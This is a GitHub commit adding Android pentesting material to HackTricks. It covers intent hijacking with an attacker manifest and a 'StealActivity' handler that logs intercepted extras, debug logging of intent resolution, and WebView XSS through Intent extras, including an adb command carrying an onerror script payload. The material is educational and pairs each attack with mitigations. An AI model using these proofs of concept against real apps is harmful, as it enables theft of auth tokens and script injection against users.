Skip to content

Commit e862ee8

Browse files
authored
Merge pull request #1499 from HackTricks-wiki/update_Android_Intents__1_2___how_they_work__security__an_20251016_131954
Android Intents (1/2) how they work, security, and attack ex...
2 parents 1690e15 + c10dc73 commit e862ee8

File tree

2 files changed

+114
-0
lines changed

2 files changed

+114
-0
lines changed

src/mobile-pentesting/android-app-pentesting/intent-injection.md

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -294,6 +294,82 @@ Real-world examples (impact varies):
294294
- CVE-2020-14116 (Xiaomi Mi Browser).
295295

296296

297+
---
298+
299+
## Intent Hijacking (implicit intents)
300+
301+
Threat model
302+
- App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action).
303+
- Attacker App C publishes an exported component with a matching `<intent-filter>` for the same `action`/`category`/`data`. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.
304+
305+
Minimal PoC manifest (attacker):
306+
```xml
307+
<activity android:name=".StealActivity" android:exported="true">
308+
<intent-filter>
309+
<action android:name="com.victim.app.ACTION_CALLBACK"/>
310+
<category android:name="android.intent.category.DEFAULT"/>
311+
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
312+
<!-- <data android:mimeType="application/json"/> -->
313+
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
314+
</intent-filter>
315+
</activity>
316+
```
317+
Handler skeleton:
318+
```java
319+
public class StealActivity extends Activity {
320+
@Override protected void onCreate(Bundle b) {
321+
super.onCreate(b);
322+
Intent i = getIntent();
323+
Bundle extras = i.getExtras();
324+
Uri data = i.getData();
325+
// Dump/forward sensitive result
326+
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
327+
finish();
328+
}
329+
}
330+
```
331+
332+
Notes
333+
- Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
334+
- This also applies to deep links (`VIEW` + `BROWSABLE`) when apps expect another app to handle a URL and return something back.
335+
336+
Pentest guidance
337+
- Grep the target for `startActivity`/`startActivityForResult`/`registerForActivityResult` calls using non-explicit Intents.
338+
- Inspect Intents carrying tokens in `extras`, `clipData`, or `getData()` and see whether a third-party could register a compatible filter.
339+
- Recommend replacing implicit flows with explicit Intents (set `setPackage()`/`setComponent()`), or requiring caller-permission/signed permissions on exported receivers/services.
340+
341+
Mitigations
342+
- Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results).
343+
- When cross-app is necessary, add permission requirements to the receiving component and validate caller identity.
344+
- Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME).
345+
346+
---
347+
348+
## Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
349+
350+
When you control the sender, add `Intent.FLAG_DEBUG_LOG_RESOLUTION` to an implicit Intent to make Android log how resolution happens and which component will be selected.
351+
352+
Example:
353+
```java
354+
Intent intent = new Intent();
355+
intent.setAction("android.media.action.IMAGE_CAPTURE");
356+
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
357+
startActivityForResult(intent, 42);
358+
```
359+
What you’ll see in `adb logcat` is the resolution trace and the final component, e.g. `com.android.camera2/com.android.camera.CaptureActivity`.
360+
361+
CLI tip
362+
```bash
363+
# You can also set the debug flag from adb when firing an implicit Intent
364+
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
365+
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
366+
367+
# Then inspect the resolution in logs
368+
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
369+
```
370+
371+
This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing.
372+
297373
---
298374

299375
## References
@@ -314,6 +390,8 @@ Real-world examples (impact varies):
314390
- [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837)
315391
- [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438)
316392
- [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116)
393+
- [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)
394+
- [Android Intent reference](https://developer.android.com/reference/android/content/Intent)
317395
- [CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)](https://flatt.tech/research/posts/arbitrary-code-execution-in-unity-runtime/)
318396
- [Unity docs – Android custom activity command-line](https://docs.unity3d.com/6000.0/Documentation/Manual/android-custom-activity-command-line.html)
319397
- [Unity Security Sept-2025-01 advisory](https://unity.com/security/sept-2025-01)

src/mobile-pentesting/android-app-pentesting/webview-attacks.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -486,6 +486,41 @@ xhr.open(
486486
xhr.send(null)
487487
```
488488

489+
## WebView XSS via Intent extras → loadData()
490+
491+
A frequent vulnerability is reading attacker-controlled data from an incoming `Intent` extra and injecting it directly into a WebView via `loadData()` with JavaScript enabled.
492+
493+
Vulnerable pattern (exported Activity reads extra and renders it as HTML):
494+
```java
495+
String data = getIntent().getStringExtra("data");
496+
if (data == null) { data = "Guest"; }
497+
WebView webView = findViewById(R.id.webview);
498+
webView.getSettings().setJavaScriptEnabled(true);
499+
webView.setWebChromeClient(new WebChromeClient());
500+
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
501+
webView.loadData(userInput, "text/html", "UTF-8");
502+
```
503+
504+
If that Activity is exported (or reachable through an exported proxy), a malicious app can supply HTML/JS in the `data` extra to achieve reflected XSS:
505+
```bash
506+
# Replace package/component with the vulnerable Activity
507+
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
508+
```
509+
510+
Impact
511+
- Arbitrary JS in the app’s WebView context: enumerate/use `@JavascriptInterface` bridges, access WebView cookies/local storage, pivot to file:// or content:// depending on settings.
512+
513+
Mitigations
514+
- Treat all Intent-derived inputs as untrusted. Escape (`Html.escapeHtml`) or reject HTML; prefer rendering untrusted text as text, not HTML.
515+
- Keep JavaScript disabled unless strictly required; do not enable `WebChromeClient` for untrusted content.
516+
- If you must render templated HTML, use `loadDataWithBaseURL()` with a safe base and CSP; separate trusted/untrusted WebViews.
517+
- Avoid exposing the Activity externally or protect it with permissions when not needed.
518+
519+
Related
520+
- See Intent-based primitives and redirection in: [Intent Injection](intent-injection.md)
521+
522+
523+
489524
## References
490525

491526
- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
@@ -496,6 +531,7 @@ xhr.send(null)
496531
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
497532
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
498533
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
534+
- [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)
499535
- [Account takeover in Android app via JSB – tuxplorer.com](https://tuxplorer.com/posts/account-takeover-via-jsb/)
500536
- [LSPosed – systemless Xposed framework](https://github.com/LSPosed/LSPosed)
501537
- [Frida codeshare: Cordova – enable WebView debugging](http://codeshare.frida.re/@gameFace22/cordova---enable-webview-debugging/)

0 commit comments

Comments
 (0)